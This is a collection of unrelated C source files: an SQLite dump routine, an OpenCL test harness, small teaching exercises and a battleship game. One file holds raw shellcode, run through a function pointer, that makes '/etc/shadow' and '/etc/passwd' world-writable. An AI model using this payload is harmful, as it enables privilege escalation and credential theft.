sqlite3_free(azCol); } /* ** Return a list of pointers to strings which are the names of all ** columns in table zTab. The memory to hold the names is dynamically ** allocated and must be released by the caller using a subsequent call ** to freeColumnList(). ** ** The azCol[0] entry is usually NULL. However, if zTab contains a rowid ** value that needs to be preserved, then azCol[0] is filled in with the ** name of the rowid column. ** ** The first regular column in the table is azCol[1]. The list is terminated ** by an entry with azCol[i]==0. */ static char **tableColumnList(DState *p, const char *zTab){ char **azCol = 0; sqlite3_stmt *pStmt = 0; char *zSql; int nCol = 0; int nAlloc = 0; int nPK = 0; /* Number of PRIMARY KEY columns seen */ int isIPK = 0; /* True if one PRIMARY KEY column of type INTEGER */ int preserveRowid = 1; int rc; zSql = sqlite3_mprintf("PRAGMA table_info=%Q", zTab); if( zSql==0 ) return 0; rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0); sqlite3_free(zSql); if( rc ) return 0; while( sqlite3_step(pStmt)==SQLITE_ROW ){ if( nCol>=nAlloc-2 ){ char **azNew; nAlloc = nAlloc*2 + nCol + 10; azNew = sqlite3_realloc(azCol, nAlloc*sizeof(azCol[0])); if( azNew==0 ) goto col_oom; azCol = azNew; azCol[0] = 0; } azCol[++nCol] = sqlite3_mprintf("%s", sqlite3_column_text(pStmt, 1)); if( azCol[nCol]==0 ) goto col_oom; if( sqlite3_column_int(pStmt, 5) ){ nPK++; if( nPK==1 && sqlite3_stricmp((const char*)sqlite3_column_text(pStmt,2), "INTEGER")==0 ){ isIPK = 1; }else{ isIPK = 0; } } } sqlite3_finalize(pStmt); pStmt = 0; azCol[nCol+1] = 0; /* The decision of whether or not a rowid really needs to be preserved ** is tricky. We never need to preserve a rowid for a WITHOUT ROWID table ** or a table with an INTEGER PRIMARY KEY. We are unable to preserve ** rowids on tables where the rowid is inaccessible because there are other ** columns in the table named "rowid", "_rowid_", and "oid". */ if( isIPK ){ /* If a single PRIMARY KEY column with type INTEGER was seen, then it ** might be an alise for the ROWID. But it might also be a WITHOUT ROWID ** table or a INTEGER PRIMARY KEY DESC column, neither of which are ** ROWID aliases. To distinguish these cases, check to see if ** there is a "pk" entry in "PRAGMA index_list". There will be ** no "pk" index if the PRIMARY KEY really is an alias for the ROWID. */ zSql = sqlite3_mprintf("SELECT 1 FROM pragma_index_list(%Q)" " WHERE origin='pk'", zTab); if( zSql==0 ) goto col_oom; rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0); sqlite3_free(zSql); if( rc ){ freeColumnList(azCol); return 0; } rc = sqlite3_step(pStmt); sqlite3_finalize(pStmt); pStmt = 0; preserveRowid = rc==SQLITE_ROW; } if( preserveRowid ){ /* Only preserve the rowid if we can find a name to use for the ** rowid */ static char *azRowid[] = { "rowid", "_rowid_", "oid" }; int i, j; for(j=0; j<3; j++){ for(i=1; i<=nCol; i++){ if( sqlite3_stricmp(azRowid[j],azCol[i])==0 ) break; } if( i>nCol ){ /* At this point, we know that azRowid[j] is not the name of any ** ordinary column in the table. Verify that azRowid[j] is a valid ** name for the rowid before adding it to azCol[0]. WITHOUT ROWID ** tables will fail this last check */ int rc; rc = sqlite3_table_column_metadata(p->db,0,zTab,azRowid[j],0,0,0,0,0); if( rc==SQLITE_OK ) azCol[0] = azRowid[j]; break; } } } return azCol; col_oom: sqlite3_finalize(pStmt); freeColumnList(azCol); p->nErr++; p->rc = SQLITE_NOMEM; return 0; } /* ** Send mprintf-formatted content to the output callback. */ static void output_formatted(DState *p, const char *zFormat, ...){ va_list ap; char *z; va_start(ap, zFormat); z = sqlite3_vmprintf(zFormat, ap); va_end(ap); p->xCallback(z, p->pArg); sqlite3_free(z); } /* ** Find a string that is not found anywhere in z[]. Return a pointer ** to that string. ** ** Try to use zA and zB first. If both of those are already found in z[] ** then make up some string and store it in the buffer zBuf. */ static const char *unused_string( const char *z, /* Result must not appear anywhere in z */ const char *zA, const char *zB, /* Try these first */ char *zBuf /* Space to store a generated string */ ){ unsigned i = 0; if( strstr(z, zA)==0 ) return zA; if( strstr(z, zB)==0 ) return zB; do{ sqlite3_snprintf(20,zBuf,"(%s%u)", zA, i++); }while( strstr(z,zBuf)!=0 ); return zBuf; } /* ** Output the given string as a quoted string using SQL quoting conventions. ** Additionallly , escape the "\n" and "\r" characters so that they do not ** get corrupted by end-of-line translation facilities in some operating ** systems. */ static void output_quoted_escaped_string(DState *p, const char *z){ int i; char c; for(i=0; (c = z[i])!=0 && c!='\'' && c!='\n' && c!='\r'; i++){} if( c==0 ){ output_formatted(p,"'%s'",z); }else{ const char *zNL = 0; const char *zCR = 0; int nNL = 0; int nCR = 0; char zBuf1[20], zBuf2[20]; for(i=0; z[i]; i++){ if( z[i]=='\n' ) nNL++; if( z[i]=='\r' ) nCR++; } if( nNL ){ p->xCallback("replace(", p->pArg); zNL = unused_string(z, "\\n", "\\012", zBuf1); } if( nCR ){ p->xCallback("replace(", p->pArg); zCR = unused_string(z, "\\r", "\\015", zBuf2); } p->xCallback("'", p->pArg); while( *z ){ for(i=0; (c = z[i])!=0 && c!='\n' && c!='\r' && c!='\''; i++){} if( c=='\'' ) i++; if( i ){ output_formatted(p, "%.*s", i, z); z += i; } if( c=='\'' ){ p->xCallback("'", p->pArg); continue; } if( c==0 ){ break; } z++; if( c=='\n' ){ p->xCallback(zNL, p->pArg); continue; } p->xCallback(zCR, p->pArg); } p->xCallback("'", p->pArg); if( nCR ){ output_formatted(p, ",'%s',char(13))", zCR); } if( nNL ){ output_formatted(p, ",'%s',char(10))", zNL); } } } /* ** This is an sqlite3_exec callback routine used for dumping the database. ** Each row received by this callback consists of a table name, ** the table type ("index" or "table") and SQL to create the table. ** This routine should print text sufficient to recreate the table. */ static int dump_callback(void *pArg, int nArg, char **azArg, char **azCol){ int rc; const char *zTable; const char *zType; const char *zSql; DState *p = (DState*)pArg; sqlite3_stmt *pStmt; (void)azCol; if( nArg!=3 ) return 1; zTable = azArg[0]; zType = azArg[1]; zSql = azArg[2]; if( strcmp(zTable, "sqlite_sequence")==0 ){ p->xCallback("DELETE FROM sqlite_sequence;\n", p->pArg); }else if( sqlite3_strglob("sqlite_stat?", zTable)==0 ){ p->xCallback("ANALYZE sqlite_master;\n", p->pArg); }else if( strncmp(zTable, "sqlite_", 7)==0 ){ return 0; }else if( strncmp(zSql, "CREATE VIRTUAL TABLE", 20)==0 ){ if( !p->writableSchema ){ p->xCallback("PRAGMA writable_schema=ON;\n", p->pArg); p->writableSchema = 1; } output_formatted(p, "INSERT INTO sqlite_master(type,name,tbl_name,rootpage,sql)" "VALUES('table','%q','%q',0,'%q');", zTable, zTable, zSql); return 0; }else{ if( sqlite3_strglob("CREATE TABLE ['\"]*", zSql)==0 ){ p->xCallback("CREATE TABLE IF NOT EXISTS ", p->pArg); p->xCallback(zSql+13, p->pArg); }else{ p->xCallback(zSql, p->pArg); } p->xCallback(";\n", p->pArg); } if( strcmp(zType, "table")==0 ){ DText sSelect; DText sTable; char **azCol; int i; int nCol; azCol = tableColumnList(p, zTable); if( azCol==0 ) return 0; initText(&sTable); appendText(&sTable, "INSERT INTO ", 0); /* Always quote the table name, even if it appears to be pure ascii, ** in case it is a keyword. Ex: INSERT INTO "table" ... */ appendText(&sTable, zTable, quoteChar(zTable)); /* If preserving the rowid, add a column list after the table name. ** In other words: "INSERT INTO tab(rowid,a,b,c,...) VALUES(...)" ** instead of the usual "INSERT INTO tab VALUES(...)". */ if( azCol[0] ){ appendText(&sTable, "(", 0); appendText(&sTable, azCol[0], 0); for(i=1; azCol[i]; i++){ appendText(&sTable, ",", 0); appendText(&sTable, azCol[i], quoteChar(azCol[i])); } appendText(&sTable, ")", 0); } appendText(&sTable, " VALUES(", 0); /* Build an appropriate SELECT statement */ initText(&sSelect); appendText(&sSelect, "SELECT ", 0); if( azCol[0] ){ appendText(&sSelect, azCol[0], 0); appendText(&sSelect, ",", 0); } for(i=1; azCol[i]; i++){ appendText(&sSelect, azCol[i], quoteChar(azCol[i])); if( azCol[i+1] ){ appendText(&sSelect, ",", 0); } } nCol = i; if( azCol[0]==0 ) nCol--; freeColumnList(azCol); appendText(&sSelect, " FROM ", 0); appendText(&sSelect, zTable, quoteChar(zTable)); rc = sqlite3_prepare_v2(p->db, sSelect.z, -1, &pStmt, 0); if( rc!=SQLITE_OK ){ p->nErr++; if( p->rc==SQLITE_OK ) p->rc = rc; }else{ while( SQLITE_ROW==sqlite3_step(pStmt) ){ p->xCallback(sTable.z, p->pArg); for(i=0; i<nCol; i++){ if( i ) p->xCallback(",", p->pArg); switch( sqlite3_column_type(pStmt,i) ){ case SQLITE_INTEGER: { output_formatted(p, "%lld", sqlite3_column_int64(pStmt,i)); break; } case SQLITE_FLOAT: { double r = sqlite3_column_double(pStmt,i); output_formatted(p, "%!.20g", r); break; } case SQLITE_NULL: { p->xCallback("NULL", p->pArg); break; } case SQLITE_TEXT: { output_quoted_escaped_string(p, (const char*)sqlite3_column_text(pStmt,i)); break; } case SQLITE_BLOB: { int nByte = sqlite3_column_bytes(pStmt,i); unsigned char *a = (unsigned char*)sqlite3_column_blob(pStmt,i); int j; p->xCallback("x'", p->pArg); for(j=0; j<nByte; j++){ char zWord[3]; zWord[0] = "0123456789abcdef"[(a[j]>>4)&15]; zWord[1] = "0123456789abcdef"[a[j]&15]; zWord[2] = 0; p->xCallback(zWord, p->pArg); } p->xCallback("'", p->pArg); break; } } } p->xCallback(");\n", p->pArg); } } sqlite3_finalize(pStmt); freeText(&sTable); freeText(&sSelect); } return 0; } /* ** Execute a query statement that will generate SQL output. Print ** the result columns, comma-separated, on a line and then add a ** semicolon terminator to the end of that line. ** ** If the number of columns is 1 and that column contains text "--" ** then write the semicolon on a separate line. That way, if a ** "--" comment occurs at the end of the statement, the comment ** won't consume the semicolon terminator. */ static void output_sql_from_query( DState *p, /* Query context */ const char *zSelect, /* SELECT statement to extract content */ ... ){ sqlite3_stmt *pSelect; int rc; int nResult; int i; const char *z; char *zSql; va_list ap; va_start(ap, zSelect); zSql = sqlite3_vmprintf(zSelect, ap); va_end(ap); if( zSql==0 ){ p->rc = SQLITE_NOMEM; p->nErr++; return; } rc = sqlite3_prepare_v2(p->db, zSql, -1, &pSelect, 0); sqlite3_free(zSql); if( rc!=SQLITE_OK || !pSelect ){ output_formatted(p, "/**** ERROR: (%d) %s *****/\n", rc, sqlite3_errmsg(p->db)); p->nErr++; return; } rc = sqlite3_step(pSelect); nResult = sqlite3_column_count(pSelect); while( rc==SQLITE_ROW ){ z = (const char*)sqlite3_column_text(pSelect, 0); p->xCallback(z, p->pArg); for(i=1; i<nResult; i++){ p->xCallback(",", p->pArg); p->xCallback((const char*)sqlite3_column_text(pSelect,i), p->pArg); } if( z==0 ) z = ""; while( z[0] && (z[0]!='-' || z[1]!='-') ) z++; if( z[0] ){ p->xCallback("\n;\n", p->pArg); }else{ p->xCallback(";\n", p->pArg); } rc = sqlite3_step(pSelect); } rc = sqlite3_finalize(pSelect); if( rc!=SQLITE_OK ){ output_formatted(p, "/**** ERROR: (%d) %s *****/\n", rc, sqlite3_errmsg(p->db)); if( (rc&0xff)!=SQLITE_CORRUPT ) p->nErr++; } } /* ** Run zQuery. Use dump_callback() as the callback routine so that ** the contents of the query are output as SQL statements. ** ** If we get a SQLITE_CORRUPT error, rerun the query after appending ** "ORDER BY rowid DESC" to the end. */ static void run_schema_dump_query( DState *p, const char *zQuery, ... ){ char *zErr = 0; char *z; va_list ap; va_start(ap, zQuery); z = sqlite3_vmprintf(zQuery, ap); va_end(ap); sqlite3_exec(p->db, z, dump_callback, p, &zErr); sqlite3_free(z); if( zErr ){ output_formatted(p, "/****** %s ******/\n", zErr); sqlite3_free(zErr); p->nErr++; zErr = 0; } } /* ** Convert an SQLite database into SQL statements that will recreate that ** database. */ int sqlite3_db_dump( sqlite3 *db, /* The database connection */ const char *zSchema, /* Which schema to dump. Usually "main". */ const char *zTable, /* Which table to dump. NULL means everything. */ int (*xCallback)(const char*,void*), /* Output sent to this callback */ void *pArg /* Second argument of the callback */ ){ DState x; memset(&x, 0, sizeof(x)); x.rc = sqlite3_exec(db, "BEGIN", 0, 0, 0); if( x.rc ) return x.rc; x.db = db; x.xCallback = xCallback; x.pArg = pArg; xCallback("PRAGMA foreign_keys=OFF;\nBEGIN TRANSACTION;\n", pArg); if( zTable==0 ){ run_schema_dump_query(&x, "SELECT name, type, sql FROM \"%w\".sqlite_master " "WHERE sql NOT NULL AND type=='table' AND name!='sqlite_sequence'", zSchema ); run_schema_dump_query(&x, "SELECT name, type, sql FROM \"%w\".sqlite_master " "WHERE name=='sqlite_sequence'", zSchema ); output_sql_from_query(&x, "SELECT sql FROM sqlite_master " "WHERE sql NOT NULL AND type IN ('index','trigger','view')", 0 ); }else{ run_schema_dump_query(&x, "SELECT name, type, sql FROM \"%w\".sqlite_master " "WHERE tbl_name=%Q COLLATE nocase AND type=='table'" " AND sql NOT NULL", zSchema, zTable ); output_sql_from_query(&x, "SELECT sql FROM \"%w\".sqlite_master " "WHERE sql NOT NULL" " AND type IN ('index','trigger','view')" " AND tbl_name=%Q COLLATE nocase", zSchema, zTable ); } if( x.writableSchema ){ xCallback("PRAGMA writable_schema=OFF;\n", pArg); } xCallback(x.nErr ? "ROLLBACK; -- due to errors\n" : "COMMIT;\n", pArg); sqlite3_exec(db, "COMMIT", 0, 0, 0); return x.rc; } /* The generic subroutine is above. The code the follows implements ** the command-line interface. */ #ifdef DBDUMP_STANDALONE #include <stdio.h> /* ** Command-line interface */ int main(int argc, char **argv){ sqlite3 *db; const char *zDb; const char *zSchema; const char *zTable = 0; int rc; if( argc<2 || argc>4 ){ fprintf(stderr, "Usage: %s DATABASE ?SCHEMA? ?TABLE?\n", argv[0]); return 1; } zDb = argv[1]; zSchema = argc>=3 ? argv[2] : "main"; zTable = argc==4 ? argv[3] : 0; rc = sqlite3_open(zDb, &db); if( rc ){ fprintf(stderr, "Cannot open \"%s\": %s\n", zDb, sqlite3_errmsg(db)); sqlite3_close(db); return 1; } rc = sqlite3_db_dump(db, zSchema, zTable, (int(*)(const char*,void*))fputs, (void*)stdout); if( rc ){ fprintf(stderr, "Error: sqlite3_db_dump() returns %d\n", rc); } sqlite3_close(db); return rc!=SQLITE_OK; } #endif /* DBDUMP_STANDALONE */
the_stack_data/11075435.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'divide_uchar2uchar2.cl' */ source_code = read_buffer("divide_uchar2uchar2.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "divide_uchar2uchar2", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_uchar2 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_uchar2)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_uchar2){{2, 2}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_uchar2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_uchar2), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_uchar2 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_uchar2)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_uchar2){{2, 2}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_uchar2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_uchar2), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float2 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float2)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float2)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float2), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float2)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 1 */ free(src_1_host_buffer); /* Free device side src buffer 1 */ ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/142389.c
int f () { int i_p434; i_p434 = 1; } int main () { int i_p436; i_p436 = (f&&i_p436); }
the_stack_data/225142737.c
#include <stdio.h> int main() { int i,g,f; scanf("%d%d",&g,&f); if(g>f) { for(i=f+1;i<g;i++) { if(i%5==2||i%5==3) printf("%d\n",i); } } else if(g<f) { for(i=g+1;i<f;i++) { if(i%5==2||i%5==3) printf("%d\n",i); } } return 0; }
the_stack_data/143001.c
#include <stdio.h> typedef struct _person { char *first; char *last; char gender; int age; } Person; Person newPerson (char *first, char *last, char gender, int age) { Person p; p.first = first; p.last = last; p.gender = gender; p.age = age; return p; } int main (int argc, char *argv[]) { Person Moe = newPerson ("Moe", "Lester", 'M', 68); printf ("Name:\t%s %s\nGender:\t%c\nAge:\t%d\n", Moe.first, Moe.last, Moe.gender, Moe.age ); return 0; }
the_stack_data/164747.c
#include <unistd.h> #include <fcntl.h> #include <stdio.h> int main (int argc, char** argv) { int fd = open("..", 0, 0); int status; status = fchdir(fd); printf("fchdir exited with status code %d\n", status); close(fd); }
the_stack_data/104829131.c
#include <stdio.h> #include <stdlib.h> #include <assert.h> struct Link{ int data; struct Link *next; }; struct Stack{ struct Link *head; int size; }; void StackInit(struct Stack *stack){ stack->head=NULL; stack->size=0; } void StackPush(struct Stack *stack,const int data){ struct Link *node; node = (struct Link*)malloc(sizeof(struct Link)); assert(node!=NULL); node->data=data; node->next=stack->head; stack->head=node; ++stack->size; } int StackEmpty(struct Stack *stack){ return stack->size==0; } int StackPop(struct Stack *stack,int *data){ if(StackEmpty(stack)){ return 0; } struct Link *tmp = stack->head; *data=stack->head->data; stack->head=stack->head->next; free (tmp); --stack->size; return 1; } void StackCleanup(struct Stack *stack){ struct Link *tmp; while(stack->head){ tmp=stack->head; stack->head=stack->head->next; free (tmp); } stack->size=0; } int main(void){ struct Stack stack; StackInit(&stack); int i; for(i=0;i<5;i++){ StackPush(&stack,i); } while(!StackEmpty(&stack)){ StackPop(&stack,&i); printf("%d ",i); } printf("\n"); return 0; }
the_stack_data/999120.c
#include <stdio.h> int main(void) { int i; for (i = 0; i < 10; i--) { if (i % 100000000 == 0) printf("%d\n", i); } }
the_stack_data/200143850.c
#include <stdio.h> int main() { if (1 == 1) printf(" 1 == 1\n"); else printf(" *** Yikes! 1 == 1 returned false\n"); if (1 != 1) printf(" *** Yikes! 1 != 1 returned true\n"); else printf(" 1 != 1 is false\n"); if (5 < 10) printf(" 5 < 10\n"); else printf(" *** Yikes! 5 < 10 returned false\n"); if (5 > 10) printf(" *** Yikes! 5 > 10 returned true\n"); else printf(" 5 > 10 is false\n"); if (12 <= 10) printf(" *** Yikes! 12 <= 10 returned false\n"); else printf("12 <= 10 is false\n"); if (12 >= 10) printf("12 >= 10\n"); else printf(" *** Yikes! 12 >= 10 returned false\n"); }
the_stack_data/694446.c
unsigned int bitset_empty(void) { return 0; } unsigned int bitset_size(unsigned int set) { /* Bit-Twiddling Hacks */ /* TODO: shall export to bits module to provide more robust solutions * based on hardware capabilities (eg. popcount instruction) */ set = set - ((set >> 1) & ~(unsigned int)0/3); set = (set & ~(unsigned int)0/15*3) + ((set >> 2) & ~(unsigned int)0/15*3); set = (set + (set >> 4)) & ~(unsigned int)0/255*15; return (set * (~(unsigned int)0/255)) >> (sizeof(unsigned int) - 1) * 8; } unsigned int bitset_add(unsigned int set, unsigned int element) { if (element > 15) return set; return set | (1U << element); } int bitset_contains(unsigned int set, unsigned int element) { if (set & (1U << element)) return 1; return 0; }
the_stack_data/55774.c
#include <stdio.h> /** * Computes the triangular Number * @param n = n*(n+1)/2. * @return triangularN. */ int main(void) { int n , triangularN ; printf("Type a number: "); scanf("%i", &n); triangularN = n * (n + 1) /2; printf("%i triangular is %i\n", n, triangularN); }
the_stack_data/72032.c
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xc9\xf7\xe1\xbe\x2f\x65\x74\x63\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x56\x89\xe3\x04\x0f\x66\xb9\xb6\x01\xcd\x80\x89\xd0\x50\x68\x73\x73\x77\x64\x04\x0f\x68\x2f\x2f\x70\x61\x56\x54\x5b\xcd\x80\x89\xd0\x40\xcd\x80"; main() { printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
the_stack_data/218893226.c
/* ESTRUTURAS DE DADOS - 2017/01 Univesidade de Brasília - UNB Aluno: Gabriel Morais marreiros Matricula: 16/0121256 Github: @Gabrielmormar Descrição: Jogo da batalha naval em linguagem C */ #include <stdio.h> #include <time.h> #include <string.h> char barcos1[10][10], barcos2[10][10], tab1[10][10], tab2[10][10], nome_j1[20], nome_j2[20]; int x, y, pontos_j1 = 0, pontos_j2 = 0; //dá as boas vindas ao usuario void boas_vindas(void) { printf("\n==============================================================================="); printf("\n\t\t\tBem vindo a Batalha Naval!!!\n"); printf("\t\t\tJOGADOR 1 vs JOGADOR 2\n"); printf("===============================================================================\n"); printf("Nome do jogador 1: "); scanf(" %[^\n]s", nome_j1); printf("Nome do jogador 2: "); scanf(" %[^\n]s", nome_j2); printf("\n"); getchar(); } //mostra os tabuleiros na tela void mostra_tab(void) { int i, j; printf("\tJOGADOR 1"); printf("\t\t\t\tJOGADOR 2\n\n"); printf("\t"); printf(" "); for(i = 0; i < 10; i++) { //imprime os indices de cada colunas printf(" %i ", i); } printf("\t\t"); printf(" "); for(i = 0; i < 10; i++) {//imprime o indice das colunas printf(" %i ", i); } printf("\n"); for(i = 0; i < 10; i++) { printf("\t"); printf("%i", i);//imprime o indice das linhas for(j = 0; j<10; j++) { printf(" %c ", tab1[i][j]); } printf("\t\t"); printf("%i", i);//imprime o indice das linhas for(j = 0; j<10; j++) { printf(" %c ", tab2[i][j]); } printf("\n"); } printf("\n\t%s: %i pontos",nome_j1, pontos_j1); printf("\t\t\t\t%s: %i pontos\n\n",nome_j2, pontos_j2); } //pede coordenadas ao usuario void pede_coordenadas(void) { printf("Digite as coordenadas do alvo(x,y): "); scanf("%d %d", &x, &y); printf("\n\n===============================================================================\n"); } //posiciona barcos no tabuleiro void posiciona_barcos(char tab[][10]) { int i, j, l, c, b = 0; //gera os porta-avioes do { c = rand()%10; //gera uma coluna aleatoria if(c>5) {//verifica se cabera na horizontal l = rand()%6;//gera uma linha para caber n avertical //verifica se já existe alguma embarcação no local if(tab[l][c] != 'X' && tab[l+1][c] != 'X' && tab[l+2][c] != 'X' && tab[l+3][c] != 'X' && tab[l+4][c] != 'X') { for(j = l; j<(l+5);j++){ tab[j][c] = 'X'; } b += 1;//indica que já foi criado uma embarcação } } else { if(c<6) { l = rand()%10; if(tab[l][c+1] != 'X' && tab[l][c+2] != 'X' && tab[l][c+3] != 'X' && tab[l][c+4] != 'X') { for(i = c; i<(c+5);i++){ tab[l][i] = 'X'; } b += 1; } } } } while(b < 3); //cria 3 embarcações do mesmo tipo b = 0; //Gera submarinos do { c = rand()%10; if(c > 7) { l = rand()%8; if(tab[l][c] != 'X' && tab[l+1][c] != 'X' && tab[l+2][c] != 'X'){ for(j = l; j<(l+2); j++) { tab[j][c] = 'X'; } b += 1; } } else { if(c < 8) { l = rand()%10; if(tab[l][c] != 'X' && tab[l][c+1] != 'X' && tab[l][c+2] != 'X') { for(i = c; i<(c+2); i++) { tab[l][i] = 'X'; } b += 1; } } } } while(b < 4); } //verifica os tiros dado por cada jogador void verifica(int v) { pede_coordenadas(); //verifica de quem é a vez, se der 0, é a vez do jogador 1 if(v%2 == 0) { //verifica se o jogador já atacou a mesma coordenada mais de uma vez if(tab2[x][y] == '*' || tab2[x][y] == 'X') { 